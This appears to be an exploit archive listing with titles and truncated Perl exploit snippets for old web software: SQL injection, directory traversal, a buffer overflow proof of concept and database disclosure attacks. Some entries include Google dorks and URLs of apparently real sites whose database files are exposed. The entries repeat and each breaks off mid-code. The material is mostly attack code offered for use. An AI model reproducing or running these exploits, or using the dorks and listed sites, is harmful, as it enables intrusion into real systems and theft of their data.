Copermine Photo Gallery 1.4.22 LFI / SQL Injection

!/usr/bin/perl Coppermine Photo Gallery '; banner; $lwp-defaultheader'Accept-Language: en-us,en;q=0.5'; my $html = injrequest' WHERE x'; Wrong query to obtain an error ifnot defined $html print "- Request mistake. Exploit terminated!\n"; exit ; elsif$html = /There was an error while processing a...

Zervit Web Server 0.04 - GET Remote Buffer Overflow (PoC)

Zervit Web Server 0.04 - GET Remote Buffer Overflow PoC !/usr/bin/perl Zervit webserver 0.4 Bof Poc make it just for fun :s use LWP::Simple; use LWP::UserAgent; if @ARGV \n"; print"TARGETS are\n "; print"Example: perl $0 127.0.0.1 777 \n"; exit1; $target, $port = @ARGV; print"Zervit Webserver 0.0...

Mereo 1.8.0 Arbitrary File Disclosure Exploit

No description provided by source. !/usr/bin/perl -w Found By : Cyber-Zone ABDELKHALEK [email protected] Note : Don't use this for your own R!sk :d Thanx To All Friends : Hussin X , Jiko , Stack , SimO-sofT , r1z , ZoRLu , Mag!c ompo , ThE g0bL!N , b0rizq , All MoroCCaN Hackers demo versi...

EggBlog 4.1.1 - Local Directory Traversal

EggBlog 4.1.1 - Local Directory Traversal !/usr/bin/perl eggBlog agent'Lynx textmode'; $lib-timeout5; $response = $lib-get"http://$domain/lib/openwysiwyg/addons/imagelibrary/selectimage.php?dir=$param"; @director = $response-content = /.+?/ig;...

microTopic v1 (rating) Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ========================================================= microTopic v1 rating Remote Blind SQL Injection Exploit ========================================================= !/usr/bin/perl...

eggBlog <= 4.1.1 Local Directory Transversal Exploit

Exploit for unknown platform in category web applications ==================================================== eggBlog agent'Lynx textmode'; $lib-timeout5; $response = $lib-get"http://$domain/lib/openwysiwyg/addons/imageli...

RTWebalbum 1.0.462 (AlbumID) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== RTWebalbum 1.0.462 AlbumID Blind SQL Injection Exploit ======================================================== !/usr/bin/perl...

Winn ASP Guestbook 1.01 Beta Disclosure

!/usr/bin/perl -w Winn ASP Guestbook 1.01 Beta Database Disclosure Exploit Found By : ZoRLu Home: yildirimordulari.com , dafgamers.com , z0rlu.blogspot.com Not: Bana Bug BulamIyorum, YapamIyorum Demeyin a.q Elin Gavuru YapIyor Sizler Niye YapamIyorsunuz. istemiyorsunuz isteseniz Sizlerde YaparsIn...

Ublog access version Arbitrary Database Disclosure Exploit

No description provided by source. !/usr/bin/perl Ublog access version mdb-database/blog.mdb dork : http://www.google.co.ma/search?q=index.asp%3Farchivio%3DOK&hl=fr&start=20&sa=N demos : http://radiologyhunters.com/blog/mdb-database/blog.mdb http://foges.net/mdb-database/blog.mdb...

TemaTres 1.0.3 Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================= TemaTres 1.0.3 Remote Blind SQL Injection Exploit ================================================= !/usr/bin/perl...

Winn ASP Guestbook 1.01b Remote Database Disclosure Exploit

Exploit for unknown platform in category web applications =========================================================== Winn ASP Guestbook 1.01b Remote Database Disclosure Exploit =========================================================== !/usr/bin/perl -w Winn ASP Guestbook 1.01 Beta Database...

Ublog access version - Arbitrary Database Disclosure

!/usr/bin/perl Ublog access version mdb-database/blog.mdb dork : http://www.google.co.ma/search?q=index.asp%3Farchivio%3DOK&hl=fr&start=20&sa=N demos : http://radiologyhunters.com/blog/mdb-database/blog.mdb http://foges.net/mdb-database/blog.mdb http://www.geoaurea.it/mdb-database/blog.mdb use...

Winn ASP Guestbook 1.01b - Remote Database Disclosure

Winn ASP Guestbook 1.01b - Remote Database Disclosure !/usr/bin/perl -w Winn ASP Guestbook 1.01 Beta Database Disclosure Exploit Found By : ZoRLu Home: yildirimordulari.com , dafgamers.com , z0rlu.blogspot.com Not: Bana Bug BulamIyorum, YapamIyorum Demeyin a.q Elin Gavuru YapIyor Sizler Niye...

Winn ASP Guestbook 1.01b - Remote Database Disclosure

!/usr/bin/perl -w Winn ASP Guestbook 1.01 Beta Database Disclosure Exploit Found By : ZoRLu Home: yildirimordulari.com , dafgamers.com , z0rlu.blogspot.com Not: Bana Bug BulamIyorum, YapamIyorum Demeyin a.q Elin Gavuru YapIyor Sizler Niye YapamIyorsunuz. istemiyorsunuz isteseniz Sizlerde...

Uguestbook 1.0b (guestbook.mdb) Arbitrary Database Disclosure Exploit

Exploit for unknown platform in category web applications ===================================================================== Uguestbook 1.0b guestbook.mdb Arbitrary Database Disclosure Exploit ===================================================================== !/usr/bin/perl Uguestbook 1.0...

Baby Web Server 2.7.2.0 Arbitrary File Disclosure Exploit

No description provided by source. !/usr/bin/perl -w Found By : ZoRLu Home: yildirimordulari.com , dafgamers.com , z0rlu.blogspot.com Not: Bana Bug BulamIyorum, YapamIyorum Demeyin a.q Elin Gavuru YapIyor Sizler Niye YapamIyorsunuz. istemiyorsunuz isteseniz Sizlerde YaparsInýz Thanks: Str0ke,...

Quick N Easy 3.3.5 File Disclosure

!/usr/bin/perl -w Found By : Cyber-Zone ABDELKHALEK [email protected] Note : Don't use this for your own R!sk :d Thanx To All Friends : Hussin X , Jiko , Stack , SimO-sofT , r1z , ZoRLu , Mag!c ompo , ThE g0bL!N , b0rizq , All MoroCCaN Hackers demo version Tested under my MS WINDOWS sp2...

Baby Web Server 2.7.2.0 - Arbitrary File Disclosure

!/usr/bin/perl -w Found By : ZoRLu Home: yildirimordulari.com , dafgamers.com , z0rlu.blogspot.com Not: Bana Bug BulamIyorum, YapamIyorum Demeyin a.q Elin Gavuru YapIyor Sizler Niye YapamIyorsunuz. istemiyorsunuz isteseniz Sizlerde YaparsInýz Thanks: Str0ke, Cyber-Zone, Stack, AlpHaNiX, W0cker,...

Femitter FTP Server 1.03 Arbitrary File Disclosure Exploit

Exploit for windows platform in category remote exploits ========================================================== Femitter FTP Server 1.03 Arbitrary File Disclosure Exploit ========================================================== !/usr/bin/perl Femitter FTP Server 1.03 Arbitrary File Disclosu...

Pligg CMS 9.9.0 - 'editlink.php' Blind SQL Injection

!/usr/bin/perl Pligg v9.9 Blind SQL Injection vuln: editlink.php? SQL Injection: magicquotes off This exploit is possible because the $id variable in checkurl.php is taken from the url and then used in an SQL query without being sanitized. by Rohit Bansal [email protected] www.Schap.Org...